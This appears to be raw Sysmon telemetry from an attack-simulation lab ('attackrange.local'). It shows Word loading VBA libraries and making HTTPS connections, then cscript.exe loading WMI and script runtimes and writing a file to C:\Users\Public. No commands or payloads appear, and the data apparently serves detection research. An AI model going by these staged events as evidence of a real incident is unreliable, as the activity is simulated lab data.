Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+6164c|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000049518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.622{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\Public.LNK2021-09-10 14:58:21.622 734700x800000000000000049517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.622{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\linkinfo.dll10.0.14393.0 (rs1_release.160715-1616)Windows Volume TrackingMicrosoft® Windows® Operating SystemMicrosoft CorporationLINKINFO.DLLMD5=4CE9B67A187310E37E535FC4165E0933,SHA256=469B33A5DDAA93D28F66AE6D6956268F6F2F09F146734D00A931FBDD1D87DE42,IMPHASH=F3640F50846C35CCE7151F1E835AE727trueMicrosoft WindowsValid 734700x800000000000000049516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.622{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cscapi.dll10.0.14393.0 (rs1_release.160715-1616)Offline Files Win32 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcscapi.dllMD5=6433F8201BFB449DC6B47F6999C2F164,SHA256=06729F1E0A0596620B48B6DC4A2CC9CC5FE55B17BD488C71F7F15AA4262C8C14,IMPHASH=50E2F760F0B39DC72CAD6892FEDF2F27trueMicrosoft WindowsValid 734700x800000000000000049515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.622{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ntshrui.dll10.0.14393.4169 (rs1_release.210107-1130)Shell extensions for sharingMicrosoft® Windows® Operating SystemMicrosoft Corporationntshrui.dllMD5=E996A5D4EA7754FF1B0411F0B1664603,SHA256=B2DA0AC549C551A2CAF0714EF3B344C33943292FB1FA9F2EEFA706B6FF18F1A2,IMPHASH=AC4154F2DB854AC5F42815BCE5C34155trueMicrosoft WindowsValid 734700x800000000000000049514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.590{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\WPFT632.CNV2012.1600.13801.20084WordPerfect 6.x - 7.0 ConverterMicrosoft Document ConvertersMicrosoft Corporationwpft632.cnvMD5=D997928D1746F6FDAFA2891EB2E98E3A,SHA256=85BB507713335F67361A3FB86C9FF0A5A99742D5D41A7DBBD79E70B889566986,IMPHASH=68906A61E24957262129F77CEB2581ABtrueMicrosoft CorporationValid 734700x800000000000000049513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.590{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\MSCONV97.DLL-----MD5=1C576481108B5F6E745A2D0E11837F8C,SHA256=870A00A7AF87FCB327DEE5C9BAA7C17502FB437AAE0B3D739F18AF87D1A26D63,IMPHASH=340B904C2CBB3E5AB1165C08E714E53CtrueMicrosoft CorporationValid 734700x800000000000000049512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.590{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\WPFT532.CNV2012.1600.13801.20084WordPerfect 5.x ConverterMicrosoft Document ConvertersMicrosoft Corporationwpft532.cnvMD5=084811285F7D412DDBDD05297FC74BD5,SHA256=80E30385E9E16DB76AAE828C0D4129DDA3544EAAD4D148AEB0F82C9CF0B5AC85,IMPHASH=C5C6BB3D0079A14A72F1BBD25AF09130trueMicrosoft CorporationValid 734700x800000000000000049511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.590{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\MSCONV97.DLL-----MD5=1C576481108B5F6E745A2D0E11837F8C,SHA256=870A00A7AF87FCB327DEE5C9BAA7C17502FB437AAE0B3D739F18AF87D1A26D63,IMPHASH=340B904C2CBB3E5AB1165C08E714E53CtrueMicrosoft CorporationValid 734700x800000000000000049510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\MSCONV97.DLL-----MD5=1C576481108B5F6E745A2D0E11837F8C,SHA256=870A00A7AF87FCB327DEE5C9BAA7C17502FB437AAE0B3D739F18AF87D1A26D63,IMPHASH=340B904C2CBB3E5AB1165C08E714E53CtrueMicrosoft CorporationValid 734700x800000000000000049509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.575{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\RECOVR32.CNV2012.1600.13801.20084Recover Text ConverterMicrosoft Document ConvertersMicrosoft Corporationrecovr32.cnvMD5=F7862376B2BA3AD06C3BABBD818DCA02,SHA256=21DEE8D508FB141EF76F890019FED5BFAEF06787CCC457F4C50C5F06562B6393,IMPHASH=7B9B11E5CC915CC416A100F42644E689trueMicrosoft CorporationValid 734700x800000000000000049508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.512{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\coml2.dll10.0.14393.2608 (rs1_release.181024-1742)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOML2.DLLMD5=F51CCB7A95B83C1327390BF672AFD328,SHA256=850E50B525EF51374B880146E26464D10A8B1DAE1E0307F7B27DC7322824F2BF,IMPHASH=B74E4EE6BBCE405BE73914241C9AF2C8trueMicrosoft WindowsValid 734700x800000000000000049507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.481{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\1033\VBE7INTL.DLL7.01.1091Visual Basic Environment International ResourcesVisual Basic EnvironmentMicrosoft Corporation-MD5=CDA3EA478C604783B76964E88FD7030D,SHA256=DEBCD9E5DA29B2675C95055DBC342B74369BB5ED34ED5BAFC0738F470D5B4E69,IMPHASH=00000000000000000000000000000000trueMicrosoft CorporationValid 734700x800000000000000049506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.466{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL7.1.16.13801Microsoft Visual Basic for Applications componentMicrosoft Visual Basic for ApplicationsMicrosoft CorporationVBEUI.DLLMD5=FAECA7282B7A44B8A028683CF4557130,SHA256=69F0E7933999B73F579F1301678DB4A0B1367B4A07DB0F8F0218DCDE2B4EB318,IMPHASH=76A81C4D90C808A554C8432ED1E914EDtrueMicrosoft CorporationValid 734700x800000000000000049505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.466{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\System\msvcr100.dll10.00.40219.1Microsoft® C Runtime LibraryMicrosoft® Visual Studio® 2010Microsoft Corporationmsvcr100_clr0400.dllMD5=DF3CA8D16BDED6A54977B30E66864D33,SHA256=1D1A1AE540BA132F998D60D3622F0297B6E86AE399332C3B47462D7C0F560A36,IMPHASH=1208BCDC77CFFEE6A6813646321CFC79trueMicrosoft CorporationValid 734700x800000000000000049504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.466{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\UIAutomationCore.dll7.2.14393.4169 (rs1_release.210107-1130)Microsoft UI Automation CoreMicrosoft® Windows® Operating SystemMicrosoft CorporationUIAutomationCore.dllMD5=9B2DCFE11EEBDDC18A8F5964E04E64A0,SHA256=5CBC5B45B9EB5B4EF1360005CD675D20D7EE9FE588DA24543FF7C9ACB88317FF,IMPHASH=6691D3D33C2662107A11540A5A994674trueMicrosoft WindowsValid 734700x800000000000000049503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.466{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\VBE7.DLL7.01.1108Visual Basic Design Time EnvironmentVisual Basic EnvironmentMicrosoft Corporation-MD5=962CAEF91E79619B08D97DCF7CEC13C3,SHA256=4343F2C48692D253A4BA5FCA3EC7F7C675CEFDD778E4A0320524DABABBA2D60D,IMPHASH=150029E984790C7A698A8E7E9FD2048AtrueMicrosoft CorporationValid 734700x800000000000000049502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.403{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dcomp.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft DirectComposition LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationdcomp.dllMD5=40873566DBFF13981CA1AE23AC281C5D,SHA256=E52C4619C837358454B969D31E2E14ACDEDABB384272D48C03E4F0AF9A2C2B6E,IMPHASH=9651C547656809410E78B358203C1A1DtrueMicrosoft WindowsValid 734700x800000000000000049501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.403{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\DataExchange.dll10.0.14393.4169 (rs1_release.210107-1130)Data exchangeMicrosoft® Windows® Operating SystemMicrosoft CorporationDataExchange.dllMD5=23F499FA8F8E02A8090FB78E80617BDD,SHA256=08C2E505F3765D98379BB88DC8AD5555AB680A691054933FCA1A2CFCDFA42F51,IMPHASH=05056B92E29CCE6F97F9C6674AE080C0trueMicrosoft WindowsValid 734700x800000000000000049500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.403{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msimg32.dll10.0.14393.0 (rs1_release.160715-1616)GDIEXT Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationgdiextMD5=78DA58DF85F86CA61E5EAFB9EF0A83BE,SHA256=3216205F5C355D582EC4B902651B62E1FF3EFFDCA40BC849D474F13F1325E962,IMPHASH=2E671B0A6A313B7E8765124B944DA4FEtrueMicrosoft WindowsValid 734700x800000000000000049499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.403{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\GFX.DLL16.0.13801.20442Microsoft Office GraphicsMicrosoft OfficeMicrosoft CorporationGFX.DLLMD5=67A8185AAF7674010FB3D3F4BF71B3A7,SHA256=3017C9E5F1B0107444C560FF931BEB019E96AFC49D33F131B1BD0D3AF5B53614,IMPHASH=B0BC9085FB48FD90C072EF8005D088BFtrueMicrosoft CorporationValid 734700x800000000000000049498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.387{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 23542300x800000000000000049497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.356{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=81FAFAC8B6163BDE16E88D8E6FB2BF16,SHA256=0F82BB9C2F2A0A72632EE83DEE6DB20863AB55A1719574EE854C4221C0B4A3A9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000049496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.267{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59509-false20.190.160.6-443https 354300x800000000000000049495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.254{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59507-false52.109.76.30-443https 354300x800000000000000049494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.239{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59508-false52.113.194.132-443https 354300x800000000000000049493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.233{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59506-false2.18.232.50a2-18-232-50.deploy.static.akamaitechnologies.com443https 354300x800000000000000049492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.231{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56245- 354300x800000000000000049491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.229{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58085- 354300x800000000000000049490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.083{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59505-false52.109.76.68-443https 354300x800000000000000049489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.051{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57856- 23542300x800000000000000049488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.091{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C7F4794744AB28C4F9D3B08B81562987,SHA256=FE400C8A5CE5FB6E4A0CA47CBB8F0678BA22A294B694F71CC97EB7085C4AD60B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016336Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:22.516{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E47E1CC4B377E903E066D324375E1D4F,SHA256=30D16DA380622B4D217C77A80B746A901B7901BCC54FC4D444FA1E625BA40848,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000050043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wbem\wbemdisp.dll10.0.14393.0 (rs1_release.160715-1616)WMI ScriptingMicrosoft® Windows® Operating SystemMicrosoft CorporationWBEMDISP.DLLMD5=A15C7B10E3ADC397E51DA4A8903DEDA5,SHA256=B7D86B8C9415D06FC2ECD76BAE31E82682C4DCFC196DC52575ED4F56429BF7DC,IMPHASH=6AB00E0EBEE570074AD3AFA14C96AAE4trueMicrosoft WindowsValid 734700x800000000000000050042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\EsdSip.dll10.0.14393.0 (rs1_release.160715-1616)Crypto SIP provider for signing and verifying .esd Electronic Software Distribution filesMicrosoft® Windows® Operating SystemMicrosoft CorporationESDSIP.DLLMD5=CDF191FF99AF7729029F5E098FF7D819,SHA256=53A7D390A146F888AF5FE3F1EF3859ECC58D9E0EA3AE27FDDF281CE14691568D,IMPHASH=E47F6D532615E6E31018F6C5A9EA62C1trueMicrosoft WindowsValid 23542300x800000000000000050041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.934{7BD73061-728E-613B-5B0B-00000000F001}1020ATTACKRANGE\AdministratorC:\Windows\system32\cscript.exeC:\Users\Public\ibivigi.txtMD5=9A400BE1A2CD9DF8331E5FD930216344,SHA256=B48465F5356ACE53CF61DB1714D68ADC18B654D8EA3877974E171F5384B4010D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll10.0.14393.0 (rs1_release.160715-1616)Crypto SIP provider for signing and verifying PowerShell script files (.ps1/.ps1xml)Microsoft® Windows® Operating SystemMicrosoft Corporationpwrshsip.dllMD5=5366DEE11C59571EC48B56020E8949DE,SHA256=EE5CDBEDA2067413ACB7B5E7B4AF53B40336148CA104D1671212B43737EB348C,IMPHASH=C93A45A26AACEA8208AA325C281035F0trueMicrosoft WindowsValid 734700x800000000000000050039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.934{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 734700x800000000000000050038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000050037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\OpcServices.dll10.0.14393.2848 (rs1_release.190305-1856)Native Code OPC Services LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationOpcServices.dllMD5=991F8CCB43104DE3BD6E24A4D2BF870D,SHA256=8187C096A269D20742DEC9B651536F1C7A354D114B176179B1F4E090BB28E1F2,IMPHASH=F5D44AC1D5D2912F6B871FE7D5604CEDtrueMicrosoft WindowsValid 734700x800000000000000050036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wbem\wmiutils.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwmiutils.dllMD5=5179B0DEF3AB5CAC3BA02316AF1B6B40,SHA256=FA4112CB0D1A133C41FD001F958F0BE930BB49072BF97A3D765AEA8DB841ABC4,IMPHASH=EE3767E8CDC80CCB91A8FC0A7407A4A9trueMicrosoft WindowsValid 734700x800000000000000050035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000050034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000050033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 734700x800000000000000050032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\scrrun.dll5.812.10240.16384Microsoft ® Script RuntimeMicrosoft ® Script RuntimeMicrosoft Corporationscrrun.dllMD5=054FEAD31C0C7971121014D429A5A7D0,SHA256=9CD76701ED1693C191C1617560BC8C5F676A03A420E0BD596FF5388CA1AF58B6,IMPHASH=11A9E7FA354F7EB56AAC978F31CD0624trueMicrosoft WindowsValid 734700x800000000000000050031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\mpr.dll10.0.14393.2879 (rs1_release_inmarket.190313-1855)Multiple Provider Router DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmpr.dllMD5=0E56DB60C434D51769F2DAC48B9AA686,SHA256=3F9AED98B1B7F6A59C219F622FD91C7FD20BFE280935F5334920A02ECCAE7ED6,IMPHASH=46ADE2B067E724C7163A0B1902FEF225trueMicrosoft WindowsValid 734700x800000000000000050030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.919{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wshom.ocx5.812.10240.16384Windows Script Host Runtime LibraryMicrosoft ® Windows Script Host Runtime LibraryMicrosoft Corporationwshom.ocxMD5=2CCC0321D28C4EDC1C256972A34AEE59,SHA256=A6A527A6A7CE62ABDFD2348C26E9D5D87650D66BAC0AA998125335615DE220B3,IMPHASH=6547E005662808D679CDDA69634B7CB7trueMicrosoft WindowsValid 23542300x800000000000000050029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.903{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=248C18FE7F4FACB27AF95165994F22A0,SHA256=5E67039A30829DB635E66183AF323A9838ABA8B1BF06AB5712AD60B223EBE5E3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000050027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\srvcli.dll10.0.14393.0 